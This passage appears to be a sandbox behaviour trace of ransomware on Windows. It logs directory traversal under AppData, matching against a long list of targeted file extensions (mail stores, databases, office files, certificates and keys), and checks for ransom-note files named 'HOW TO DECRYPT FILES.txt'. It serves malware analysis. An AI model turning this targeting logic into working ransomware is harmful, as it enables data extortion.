pszSpec="*.mp3") returned 0 [0088.152] lstrlenA (lpString="*.mp3") returned 5 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.aiff") returned 0 [0088.152] lstrlenA (lpString="*.aiff") returned 6 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.flac") returned 0 [0088.152] lstrlenA (lpString="*.flac") returned 6 [0088.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.m4a") returned 0 [0088.153] lstrlenA (lpString="*.m4a") returned 5 [0088.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", pszSpec="*.csv") returned 0 [0088.153] lstrlenA (lpString="*.csv") returned 5 [0088.153] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6215c440, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 1 [0088.153] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0088.153] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Outlook.xml") returned -1 [0088.153] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Outlook.xml") returned -1 [0088.153] lstrcmpiA (lpString1="", lpString2="Outlook.xml") returned -1 [0088.153] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="Outlook.srs" [0088.153] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\" [0088.153] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="" [0088.153] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO DECRYPT FILES.txt" [0088.153] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\how to decrypt files.txt")) returned 0x2020 [0088.153] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.xml" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" [0088.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.ems") returned 0 [0088.153] lstrlenA (lpString="*.ems") returned 5 [0088.153] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.db") returned 0 [0088.154] lstrlenA (lpString="*.db") returned 4 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.dbf") returned 0 [0088.154] lstrlenA (lpString="*.dbf") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.myox") returned 0 [0088.154] lstrlenA (lpString="*.myox") returned 6 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.myo") returned 0 [0088.154] lstrlenA (lpString="*.myo") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qbw") returned 0 [0088.154] lstrlenA (lpString="*.qbw") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qbb") returned 0 [0088.154] lstrlenA (lpString="*.qbb") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qbm") returned 0 [0088.154] lstrlenA (lpString="*.qbm") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qbo") returned 0 [0088.154] lstrlenA (lpString="*.qbo") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qbx") returned 0 [0088.154] lstrlenA (lpString="*.qbx") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qba") returned 0 [0088.154] lstrlenA (lpString="*.qba") returned 5 [0088.154] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qby") returned 0 [0088.155] lstrlenA (lpString="*.qby") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qbj") returned 0 [0088.155] lstrlenA (lpString="*.qbj") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.ofx") returned 0 [0088.155] lstrlenA (lpString="*.ofx") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.qif") returned 0 [0088.155] lstrlenA (lpString="*.qif") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.mye") returned 0 [0088.155] lstrlenA (lpString="*.mye") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.mbox") returned 0 [0088.155] lstrlenA (lpString="*.mbox") returned 6 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.eml") returned 0 [0088.155] lstrlenA (lpString="*.eml") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.pst") returned 0 [0088.155] lstrlenA (lpString="*.pst") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.ost") returned 0 [0088.155] lstrlenA (lpString="*.ost") returned 5 [0088.155] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.idx") returned 0 [0088.155] lstrlenA (lpString="*.idx") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.dbx") returned 0 [0088.156] lstrlenA (lpString="*.dbx") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.sql") returned 0 [0088.156] lstrlenA (lpString="*.sql") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.mdb") returned 0 [0088.156] lstrlenA (lpString="*.mdb") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.fdb") returned 0 [0088.156] lstrlenA (lpString="*.fdb") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.wab") returned 0 [0088.156] lstrlenA (lpString="*.wab") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.dat") returned 0 [0088.156] lstrlenA (lpString="*.dat") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.txt") returned 0 [0088.156] lstrlenA (lpString="*.txt") returned 5 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.jpeg") returned 0 [0088.156] lstrlenA (lpString="*.jpeg") returned 6 [0088.156] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.jpg") returned 0 [0088.156] lstrlenA (lpString="*.jpg") returned 5 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.png") returned 0 [0088.157] lstrlenA (lpString="*.png") returned 5 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.php") returned 0 [0088.157] lstrlenA (lpString="*.php") returned 5 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.cs") returned 0 [0088.157] lstrlenA (lpString="*.cs") returned 4 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.cpp") returned 0 [0088.157] lstrlenA (lpString="*.cpp") returned 5 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.rar") returned 0 [0088.157] lstrlenA (lpString="*.rar") returned 5 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.zip") returned 0 [0088.157] lstrlenA (lpString="*.zip") returned 5 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.html") returned 0 [0088.157] lstrlenA (lpString="*.html") returned 6 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.htm") returned 0 [0088.157] lstrlenA (lpString="*.htm") returned 5 [0088.157] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.xlsx") returned 0 [0088.157] lstrlenA (lpString="*.xlsx") returned 6 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.xls") returned 0 [0088.158] lstrlenA (lpString="*.xls") returned 5 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.mp4") returned 0 [0088.158] lstrlenA (lpString="*.mp4") returned 5 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.ppt") returned 0 [0088.158] lstrlenA (lpString="*.ppt") returned 5 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.pptx") returned 0 [0088.158] lstrlenA (lpString="*.pptx") returned 6 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.doc") returned 0 [0088.158] lstrlenA (lpString="*.doc") returned 5 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.dot") returned 0 [0088.158] lstrlenA (lpString="*.dot") returned 5 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.docx") returned 0 [0088.158] lstrlenA (lpString="*.docx") returned 6 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.7z") returned 0 [0088.158] lstrlenA (lpString="*.7z") returned 4 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.tar") returned 0 [0088.158] lstrlenA (lpString="*.tar") returned 5 [0088.158] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.bz2") returned 0 [0088.158] lstrlenA (lpString="*.bz2") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.gz") returned 0 [0088.159] lstrlenA (lpString="*.gz") returned 4 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.mkv") returned 0 [0088.159] lstrlenA (lpString="*.mkv") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.eml") returned 0 [0088.159] lstrlenA (lpString="*.eml") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.msg") returned 0 [0088.159] lstrlenA (lpString="*.msg") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.edb") returned 0 [0088.159] lstrlenA (lpString="*.edb") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.accdb") returned 0 [0088.159] lstrlenA (lpString="*.accdb") returned 7 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.odb") returned 0 [0088.159] lstrlenA (lpString="*.odb") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.java") returned 0 [0088.159] lstrlenA (lpString="*.java") returned 6 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.asm") returned 0 [0088.159] lstrlenA (lpString="*.asm") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.pfx") returned 0 [0088.159] lstrlenA (lpString="*.pfx") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.pem") returned 0 [0088.159] lstrlenA (lpString="*.pem") returned 5 [0088.159] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.p12") returned 0 [0088.160] lstrlenA (lpString="*.p12") returned 5 [0088.160] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", pszSpec="*.gpg") returned 0 [0088.160] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6215c440, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x6215c440, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6215c440, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.xml", cAlternateFileName="")) returned 0 [0088.160] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.160] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0088.160] lstrcmpA (lpString1=".", lpString2="PowerPoint") returned -1 [0088.160] lstrcmpA (lpString1="..", lpString2="PowerPoint") returned -1 [0088.160] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.160] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint" [0088.160] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.163] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.163] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 1 [0088.163] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.163] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.163] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 0 [0088.163] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.163] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x650077, cFileName="Proof", cAlternateFileName="")) returned 1 [0088.163] lstrcmpA (lpString1=".", lpString2="Proof") returned -1 [0088.163] lstrcmpA (lpString1="..", lpString2="Proof") returned -1 [0088.163] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.163] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof" [0088.163] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.165] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.165] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.165] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.165] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.165] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0088.166] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.166] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x6f006f, cFileName="Protect", cAlternateFileName="")) returned 1 [0088.166] lstrcmpA (lpString1=".", lpString2="Protect") returned -1 [0088.166] lstrcmpA (lpString1="..", lpString2="Protect") returned -1 [0088.166] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.166] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect" [0088.166] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.166] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.166] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, 